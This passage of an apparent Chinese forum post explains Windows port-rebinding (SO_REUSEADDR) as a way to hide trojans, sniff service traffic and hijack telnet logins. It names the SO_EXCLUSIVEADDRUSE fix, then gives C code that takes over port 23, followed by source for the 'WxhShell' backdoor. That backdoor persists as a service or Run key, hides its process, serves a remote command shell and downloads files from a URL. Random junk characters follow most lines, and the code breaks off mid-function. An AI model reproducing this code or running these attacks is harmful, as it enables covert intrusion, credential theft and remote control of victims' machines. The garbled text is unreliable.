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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]Kof sU_{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EkDws `@  
g^qz&;R]  
  saddr.sin_family = AF_INET; .iN-4"_j1  
vs* >onCf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *13g <#$  
u4@, *tT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2m|Eoc&M_  
hjw4Xzju  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  PE^eP}O1  
9+W!k^VWq  
  这意味着什么?意味着可以进行如下的攻击: RzMA\r;#  
X #&(~1O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w 7Cne%J8  
>xk lt"*U,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) suzFcLxo  
=CWc`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bN]\K/  
O}e|P~W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (\T8!s{AO  
@T9m}+fR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A{G5Plrh  
&~z+R="=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tX+0 GLz  
V|+ `L-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  F|DR  
<Sz>ZIISd  
  #include )r-T=  
  #include *xEI Zx  
  #include CX1L(Y[  
  #include    |~7+/VvI+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3csm`JVK  
  int main() M-{b  
  { vd2uD2%con  
  WORD wVersionRequested; Q@PJ)fwN  
  DWORD ret; oH!$eAU?  
  WSADATA wsaData; (7M^-_q]D  
  BOOL val; @$2`DI{_^  
  SOCKADDR_IN saddr; =ZxW8 DK  
  SOCKADDR_IN scaddr; VFQq`!*i  
  int err; EI[e+@J  
  SOCKET s; xgZV0!%  
  SOCKET sc; n ;Ql=4  
  int caddsize; SD)5?{6<  
  HANDLE mt; aS c#&{  
  DWORD tid;   A@9U;8k  
  wVersionRequested = MAKEWORD( 2, 2 ); 6 ,7/8  
  err = WSAStartup( wVersionRequested, &wsaData ); ?j &V:kF  
  if ( err != 0 ) { 8<wtf]x  
  printf("error!WSAStartup failed!\n"); {JCSR2BB  
  return -1; W@R$' r,@O  
  } M!;`(_2  
  saddr.sin_family = AF_INET; <1;,B%_^  
   9^6|ta0;0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `I]1l MJ)o  
.6lY*LI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $O;N/N:m  
  saddr.sin_port = htons(23); fvAh?<Ul  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [lDt0l5^  
  { M=" WUe_  
  printf("error!socket failed!\n"); > gA %MT  
  return -1; )R [@G.  
  } q/W{PBb-2k  
  val = TRUE; hP'~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \'\N"g`Fr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sR7{i  
  { l8hvq(,{  
  printf("error!setsockopt failed!\n"); .FfwY 'V  
  return -1; w 7=D6`  
  } y9l#;<b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  [%gK^Zt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3{N p 9y.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rf1wS*uU+  
(%ri#r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r'mnkg2,  
  { _qO;{%r  
  ret=GetLastError(); orcZ yYU  
  printf("error!bind failed!\n"); /-G qG)PX  
  return -1; !`O_VV`/@  
  } G#9o?  
  listen(s,2); ?3B t ;<^  
  while(1) a<a&6 3  
  { #cSw"A  
  caddsize = sizeof(scaddr); e)ZyTuj  
  //接受连接请求 } kh/mq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +O.&64(  
  if(sc!=INVALID_SOCKET) S*2L4Uj`|  
  { 9TbS>o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :F KYYH\  
  if(mt==NULL) thlpj*|  
  { teQaHe#  
  printf("Thread Creat Failed!\n"); .g(\B  
  break; Pq[0vZ_}dN  
  } NIWI6qCw  
  } = C$ @DNEc  
  CloseHandle(mt); o3\SO  
  } u~naVX\3b  
  closesocket(s); 84hi, S5P  
  WSACleanup(); >[E|p6jgT  
  return 0; M2zos(8g  
  }   "c! oOaA  
  DWORD WINAPI ClientThread(LPVOID lpParam) kMJQeo79  
  { 3[|:sa8?s  
  SOCKET ss = (SOCKET)lpParam; ' q=NTP  
  SOCKET sc; x3Dg%=R  
  unsigned char buf[4096]; }v'PY/d.  
  SOCKADDR_IN saddr; a@S4IoBg%  
  long num; #(26t _a  
  DWORD val; rH2tC=%  
  DWORD ret; C>k;MvqO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tLoD"/z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :#Ex3H7  
  saddr.sin_family = AF_INET; uV/HNzC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2RSHB o  
  saddr.sin_port = htons(23); 1"4nmw}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P"~qio-  
  { 5 vu_D^Q  
  printf("error!socket failed!\n"); [#P`_hx  
  return -1; =?`y(k4a  
  } Nak'g/uP>  
  val = 100; DO1N`7@o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^NnU gj  
  { nY"rqILX?  
  ret = GetLastError(); c=jI.=mi3  
  return -1; 6b+ Wl Ib  
  }  Vgru, '  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _/z)&0DO  
  { _]?Dt%MkD  
  ret = GetLastError(); G\,A> mT/P  
  return -1; uz#eO|z@o  
  } ;*37ta  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q_T?G e  
  { {Y@-*pL]  
  printf("error!socket connect failed!\n"); hI>rtaY_  
  closesocket(sc); B;D:9K  
  closesocket(ss); . ;ea]_Z  
  return -1; Fgc:6<MGM  
  } _1>(GK5[  
  while(1) >m_ p\$_  
  { ;SlS!6.W-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S'%cf7Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t\|K"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 asmW W8lz  
  num = recv(ss,buf,4096,0); abJ@>7V  
  if(num>0) 3qxG?G N  
  send(sc,buf,num,0); jFPE>F7-M  
  else if(num==0) }JpslY*aS  
  break; Edn$0D68u_  
  num = recv(sc,buf,4096,0); 0P%|)Ae  
  if(num>0) bh;b` 5  
  send(ss,buf,num,0); xn x1`|1u  
  else if(num==0) ]\9B?W(#  
  break; OL ]T+6X  
  } SFk11  
  closesocket(ss); `9Q,=D+  
  closesocket(sc); \Zz= 4 j  
  return 0 ; 8a$jO+UvN  
  } {GH`V}Ob  
7L~ zI>2  
h7W%}6Cqkw  
========================================================== i37a}.;  
]stLC; nI  
下边附上一个代码,,WXhSHELL g`5`KU|  
Uc4 L|:  
========================================================== GZhfA ;O,  
d;jJe0pH  
#include "stdafx.h" zhvk%Y:  
<{z3p:\  
#include <stdio.h> L ugk`NUvF  
#include <string.h> Eztz ~oFo  
#include <windows.h> E_gDwWot  
#include <winsock2.h> LN3dp?;_{  
#include <winsvc.h> divZJc  
#include <urlmon.h> #u2&8-Gh  
z:Zn.e*$b  
#pragma comment (lib, "Ws2_32.lib") */Ry6Yu  
#pragma comment (lib, "urlmon.lib") 3NxaOO`  
!wR{Y[Yu  
#define MAX_USER   100 // 最大客户端连接数 .L(j@I t  
#define BUF_SOCK   200 // sock buffer 18w^7!F?~u  
#define KEY_BUFF   255 // 输入 buffer tU2to V  
8|-mzb&  
#define REBOOT     0   // 重启 ,, H$>r_;  
#define SHUTDOWN   1   // 关机 I}W-5%  
KutgW#+40  
#define DEF_PORT   5000 // 监听端口 : $52Ds!i  
k\thEEVP0*  
#define REG_LEN     16   // 注册表键长度 8$jT#\_  
#define SVC_LEN     80   // NT服务名长度 `@.s!L(V  
+@7x45;D  
// 从dll定义API &F*QYz[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1PTu3o&3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~ GT\RAj[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xd BZ^Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5bznM[%xO  
d @kLLDP  
// wxhshell配置信息 LX?r=_\  
struct WSCFG { 0*:hm%g  
  int ws_port;         // 监听端口 }v$=mLy  
  char ws_passstr[REG_LEN]; // 口令 NUNn[c  
  int ws_autoins;       // 安装标记, 1=yes 0=no UE#Ni 5  
  char ws_regname[REG_LEN]; // 注册表键名 aaD$'Y,<>B  
  char ws_svcname[REG_LEN]; // 服务名 JQh s=Xg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Jx ;"a\KD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ):\{n8~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RWPd S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )w 8lusa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [Fj#7VZK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (yTz^o$t|  
v7OV;e a$  
}; cxJK>%84  
I/b8  
// default Wxhshell configuration ?kFCYZK|"  
struct WSCFG wscfg={DEF_PORT, +=H>s;B  
    "xuhuanlingzhe", tD0>(41K  
    1, Am?Hkh2  
    "Wxhshell", #IrP"j^  
    "Wxhshell", lnC Wu@{  
            "WxhShell Service", |%cO"d^ri  
    "Wrsky Windows CmdShell Service", O2/w:zOg'  
    "Please Input Your Password: ", UoS;!}l  
  1, ]XafFr6pe  
  "http://www.wrsky.com/wxhshell.exe", ?N?pe}  
  "Wxhshell.exe" ~S_IU">E  
    }; P$ dgO  
<^'+ ]?  
// 消息定义模块 CU`Oc>;*T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @N_H]6z4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; od's1'c R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x)wt.T?eL  
char *msg_ws_ext="\n\rExit."; Aag)c~D  
char *msg_ws_end="\n\rQuit."; 2hC$"Dfp  
char *msg_ws_boot="\n\rReboot..."; ,p`b Wm  
char *msg_ws_poff="\n\rShutdown..."; 3jeV4|  
char *msg_ws_down="\n\rSave to "; v4##(~Tu  
Y6%OV?}v!  
char *msg_ws_err="\n\rErr!"; @ h`Zn1;  
char *msg_ws_ok="\n\rOK!"; n@,eZ!  
p{svXP K  
char ExeFile[MAX_PATH]; nzJi)A./  
int nUser = 0; `0XbV A  
HANDLE handles[MAX_USER]; V >uW|6  
int OsIsNt; 2xdJ(\JWM  
-qP[$Q  
SERVICE_STATUS       serviceStatus; fQ_8{=<-&X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7`<? f O  
X6*y/KG N  
// 函数声明 PZg]zz=V4  
int Install(void); Hg_ XD,  
int Uninstall(void); ,zw=&)W1  
int DownloadFile(char *sURL, SOCKET wsh); _v=WjN  
int Boot(int flag); |b~g^4  
void HideProc(void); a&aIkD  
int GetOsVer(void); y* Q-4_%,  
int Wxhshell(SOCKET wsl); m1o65FsY08  
void TalkWithClient(void *cs); ?!j/wV_H  
int CmdShell(SOCKET sock); I5OH=,y`  
int StartFromService(void); &`Z)5Ww  
int StartWxhshell(LPSTR lpCmdLine); 5 ^J8<s@_  
ZV4' |q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2OlC7X{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (C|V-}/*m  
"<$vU_  
// 数据结构和表定义 5N+(Gv[`"  
SERVICE_TABLE_ENTRY DispatchTable[] = oqHm:u ^2  
{ M &EJFpc*  
{wscfg.ws_svcname, NTServiceMain}, E^W*'D  
{NULL, NULL} >P"/ nS"nn  
}; \0T*msYQ  
Xt*%"7yTp  
// 自我安装 iSLf:  
int Install(void) #&KE_ n  
{ )mVYqlU"  
  char svExeFile[MAX_PATH]; (Ha}xwA~(  
  HKEY key; c!wB'~MS#  
  strcpy(svExeFile,ExeFile);  /r@  
YgOgYo{E!  
// 如果是win9x系统,修改注册表设为自启动 c O>:n  
if(!OsIsNt) { vS__*} ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |F {E4mg(o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a(T4WDl^  
  RegCloseKey(key); }M@Jrq+7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HwMsP$`q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }4]x"DfIg  
  RegCloseKey(key); 'wV26Dm  
  return 0; V="f)'S$  
    } *LdH/C.LIf  
  } ^l9 *h  
} ~cj:AIF  
else { -"9)c^KVx  
']e4 !  
// 如果是NT以上系统,安装为系统服务 xm, yqM!0A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :?6$}GcW  
if (schSCManager!=0) #f;1f8yrN  
{ > BCX%<&  
  SC_HANDLE schService = CreateService  grA L4  
  ( r74w[6(  
  schSCManager, >Nl~"J|]q  
  wscfg.ws_svcname, >M85xjXP  
  wscfg.ws_svcdisp, jAHn`Bxz  
  SERVICE_ALL_ACCESS, &-Er n/[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eG>Fn6G<g  
  SERVICE_AUTO_START, IVODR  
  SERVICE_ERROR_NORMAL, } U1shG[  
  svExeFile, Qh%vh ;|^  
  NULL, jN>UW}?  
  NULL, Jn&>Z? @  
  NULL, e ;r-}U  
  NULL, Yx c >+mx  
  NULL 3-%~{(T/  
  ); @soW f  
  if (schService!=0) O'U,|A  
  { 2dW-WHaM  
  CloseServiceHandle(schService); g c=|< (  
  CloseServiceHandle(schSCManager); -3U} (cZ*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7B"aFnK;[J  
  strcat(svExeFile,wscfg.ws_svcname); )WJI=jl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $:Z xb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lfd{O7L0b  
  RegCloseKey(key); Ap18qp  
  return 0; [/j-d  
    } Nx z ,/d  
  } O4mWsr  
  CloseServiceHandle(schSCManager); vAxtN RS  
} aKr4E3`  
} o;/F=Zp  
8GQs9  
return 1; U<byR!qLie  
} Ggjb86v\  
|.nWy"L  
// 自我卸载 o7B+f  
int Uninstall(void) [T|1Qq7  
{ )d Dmq  
  HKEY key; Yr0i9Qow  
P"<ad kr  
if(!OsIsNt) { H8k| >4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~,1X>N"  
  RegDeleteValue(key,wscfg.ws_regname); (XWs4R.mkb  
  RegCloseKey(key); (I g *iJ%2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1&nrZG9  
  RegDeleteValue(key,wscfg.ws_regname); @cNI|T  
  RegCloseKey(key); @},k\Is  
  return 0; L6qA=b~iz  
  } ;yrcH+I$_  
}  ]^%3Y  
} NPabM(<`  
else { PmTd+Gj$  
-W vAmi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hUc |Xm  
if (schSCManager!=0) ^S$w,  
{ 5OE?;PJ(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :7*\|2zA  
  if (schService!=0) r${a S@F  
  { <!$Cvx\U  
  if(DeleteService(schService)!=0) { obGSc)?j  
  CloseServiceHandle(schService); { )K(}~VD  
  CloseServiceHandle(schSCManager); m!if_Iq  
  return 0; "$9ZkADO  
  } .<hv &t  
  CloseServiceHandle(schService); l>q.BG  
  } V^5 t~)#46  
  CloseServiceHandle(schSCManager); Cvy;O~)  
} ] UTP~2N  
} /m:}rD  
2N#L'v@g=+  
return 1;  $nWmoe)  
} Yb*}2  
Xu0*sQK  
// 从指定url下载文件 9a unv   
int DownloadFile(char *sURL, SOCKET wsh) ^jA}*YP  
{ b2H6}s"=w  
  HRESULT hr; UzXbaQQ2g  
char seps[]= "/"; g`8|jg0]`I  
char *token; lN" rhZ  
char *file; I}x*AM 7+  
char myURL[MAX_PATH]; B$j,:^  
char myFILE[MAX_PATH]; Uy=eHwU?J  
"w1jr 6"  
strcpy(myURL,sURL); H*IoJL6  
  token=strtok(myURL,seps); QB>e(j%  
  while(token!=NULL) !s:|Ddv  
  { :=@[FXD4  
    file=token; I&0yUhn  
  token=strtok(NULL,seps); |n/id(R+  
  } 1??RX}8[L+  
!b=$FOC>  
GetCurrentDirectory(MAX_PATH,myFILE); ;2}Gqh)Yr  
strcat(myFILE, "\\"); 2"T&Fp<  
strcat(myFILE, file); FSk:J~Z;  
  send(wsh,myFILE,strlen(myFILE),0); X:5*LB\/v  
send(wsh,"...",3,0); f5v|}gMAX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lQjq6Fl2  
  if(hr==S_OK) . b"e`Bw_=  
return 0; ~@bKQ>Xw  
else @VAhmYz  
return 1;  'M{_S  
wVTo7o%U  
} va.wdk g  
),eiJblH  
// 系统电源模块  $?YkgK  
int Boot(int flag) ;.Y`T/eWS  
{ Qn7e6u@V  
  HANDLE hToken; h2]Od(^[  
  TOKEN_PRIVILEGES tkp; ub%q<sE*  
+Xk!)Ge5E*  
  if(OsIsNt) { OZ&aTm :  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ADDpm-]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -rfO"D>  
    tkp.PrivilegeCount = 1; V !$m{)Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i%iU_`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ho/5e*X  
if(flag==REBOOT) { *`W82V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZmDr$iU~  
  return 0; f!yxS?j3  
} !p2&$s"N.  
else { |bh:x{h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?/~1z*XUW  
  return 0; _)Ms9RN  
} D~Su82 2  
  } |(fWT}tg  
  else { >=bO@)[  
if(flag==REBOOT) { li[g =A,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u/AN| y  
  return 0; M;OYh  
} T&%>/7I>  
else { -T>`PJpJuL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;Ba f&xK  
  return 0; k&2I(2S  
} 03xQ%"TU<  
} x]:mc%4-Z  
dNR4h  
return 1; uf6{M_jXZ  
} [T|~K h%#  
.Qaqkb-Ty  
// win9x进程隐藏模块 7@`(DU`z  
void HideProc(void) ^t*BWJxPC  
{ *\>7@r[%5  
*KM CU m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P*}Oi7Z  
  if ( hKernel != NULL ) 1/z1~:Il  
  {  `@p*1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S=o/n4@}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E5rNC/Ul$$  
    FreeLibrary(hKernel); pD{Li\LY  
  } 1+]e?  
B:l(`G  
return; @"6BvGU2s  
} z')'8155  
~7*HZ:.  
// 获取操作系统版本 Cpr}*A   
int GetOsVer(void) &EMm<(.]a  
{ </eh^<_~  
  OSVERSIONINFO winfo; C][`Dk\D{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .{6TX"M  
  GetVersionEx(&winfo); mU*GcWbc+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ? in&/ZrB  
  return 1; 9QpKB c  
  else Qt k'^Fc  
  return 0; L%"&_v#a^  
} ?p5Eo{B  
2oN lQiE_  
// 客户端句柄模块 rh+OgKi  
int Wxhshell(SOCKET wsl) EV9m\'=j  
{ d{0>R{uac  
  SOCKET wsh; C'{Z?M>  
  struct sockaddr_in client; D%Wr/6X  
  DWORD myID; &Z9b&P  
iVFn t!  
  while(nUser<MAX_USER) '?QZ7A  
{ i'a M#4V  
  int nSize=sizeof(client); 9J<KR #M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Th-zMQ4  
  if(wsh==INVALID_SOCKET) return 1; {MIs%w.G  
N @k:kI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [ML4<Eb+ x  
if(handles[nUser]==0) ?)9 6YX'  
  closesocket(wsh); Dj[D|%9a  
else M+Dkn3bx  
  nUser++; nkpQM$FW  
  } $XJe)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7n#0eska,  
tJ 6:$dh  
  return 0; fd(>[RP?  
} *? c~7ru  
zj8;ENhEI  
// 关闭 socket Y yI|^f8C  
void CloseIt(SOCKET wsh) BKN]DxJ6  
{ %bddR;c  
closesocket(wsh); &vLZj  
nUser--; Jg7IGU(dct  
ExitThread(0); ,Qp58u2V  
} g|W~0A@D  
r8@:Ko= a  
// 客户端请求句柄 {D7!'Rq,  
void TalkWithClient(void *cs) pnf3YuB  
{ }=wSfr9g  
iXBc ~S  
  SOCKET wsh=(SOCKET)cs; O^LzS&I*  
  char pwd[SVC_LEN]; 'A4Lr  
  char cmd[KEY_BUFF]; q+SDJ?v  
char chr[1]; ?L|@{RS{|  
int i,j; 7^S&g.A  
H>M0G L  
  while (nUser < MAX_USER) { y1P?A]v  
$)kIYM&  
if(wscfg.ws_passstr) { J)*y1   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4H{L>e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i<-#yL5  
  //ZeroMemory(pwd,KEY_BUFF); T1D7H~ \lG  
      i=0; N!hp^V<7  
  while(i<SVC_LEN) { zVp|%&  
X^"95Ic  
  // 设置超时 eGZId v1  
  fd_set FdRead; n}a# b%e  
  struct timeval TimeOut; (xq25;|Y  
  FD_ZERO(&FdRead); YckexfL  
  FD_SET(wsh,&FdRead); &bTadd%0  
  TimeOut.tv_sec=8; yBeSvsm  
  TimeOut.tv_usec=0; SdN|-'qf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x_#yH3kJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |rsu+0Mtz  
='>k|s:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +i{&"o4}  
  pwd=chr[0]; D_'Zucq  
  if(chr[0]==0xd || chr[0]==0xa) { B>gC75  
  pwd=0; ^lbOv}C*  
  break; F)!B%4  
  } sA:0b5_a  
  i++; o:m:9dn  
    } }(ot IqE  
>a Q; 8  
  // 如果是非法用户,关闭 socket TqCzpf&&h/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CI ~+(+q  
} Zb3E-'G+  
ln9U>*<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =U2`]50  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RKRk,jRL  
}[? X%=  
while(1) {  gryC#  
mR?OSeeB  
  ZeroMemory(cmd,KEY_BUFF); R$wo{{KX  
s!uewS.  
      // 自动支持客户端 telnet标准   Au@U;a4UU  
  j=0; =p ^Sn,t  
  while(j<KEY_BUFF) { gy,B+~p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qJUu9[3'm  
  cmd[j]=chr[0]; (7&[!PS  
  if(chr[0]==0xa || chr[0]==0xd) { %5$yz|:  
  cmd[j]=0; 8q}`4wCD$  
  break; <{:$ ]3  
  } cl)%qIXj}H  
  j++; ,}F{V>dhn  
    } enE8T3   
/id(atiF^  
  // 下载文件 6imDA]5N&  
  if(strstr(cmd,"http://")) { ]#KZ W)M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ez+.tbEA,  
  if(DownloadFile(cmd,wsh)) OV^) N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t d-EB&i\  
  else N'3Vt8o,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (hs[B4nV  
  } V;Te =4  
  else { m'@NF--#Oq  
:p5V5iG  
    switch(cmd[0]) { PG+ICg  
  |'Z6M];8t  
  // 帮助 n:x6bPal]  
  case '?': { Nq Ve{+1x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m<hR Lo  
    break; /a(xUm@.  
  } /5EM;Mx  
  // 安装 Z[[ @O  
  case 'i': { QzCu$ [  
    if(Install())  ze{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9g|o17  
    else tFO86 !ln  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ku&IVr%  
    break; Ws{2+G~  
    } rK9X68)  
  // 卸载 IEmtt^C  
  case 'r': { ":tQYo]d  
    if(Uninstall()) wk' |gI[W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mtvfG  
    else uR"(0_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s: ~3|D][  
    break; #0zMPh /U}  
    } ej4xW~_  
  // 显示 wxhshell 所在路径 3 T+#d-\  
  case 'p': { /:~mRf^  
    char svExeFile[MAX_PATH]; _r^Cu.[7  
    strcpy(svExeFile,"\n\r"); y?zNxk/p  
      strcat(svExeFile,ExeFile); :?O+EE  
        send(wsh,svExeFile,strlen(svExeFile),0); 2aNCcZw0  
    break; 37Q9goMov  
    } Z4b<$t[u  
  // 重启 #"jEc*&=  
  case 'b': { g!,>.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A|Up >`QH  
    if(Boot(REBOOT)) KD11<&4_x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n3da@ClBt  
    else { 'P3CgpF<Z2  
    closesocket(wsh); I&,gCZ#  
    ExitThread(0); rd vq(\A  
    } lb{<}1YR0o  
    break; M[g9D  
    } cNZuwS~,  
  // 关机 y 4j0nF  
  case 'd': { mQ*:?\@  
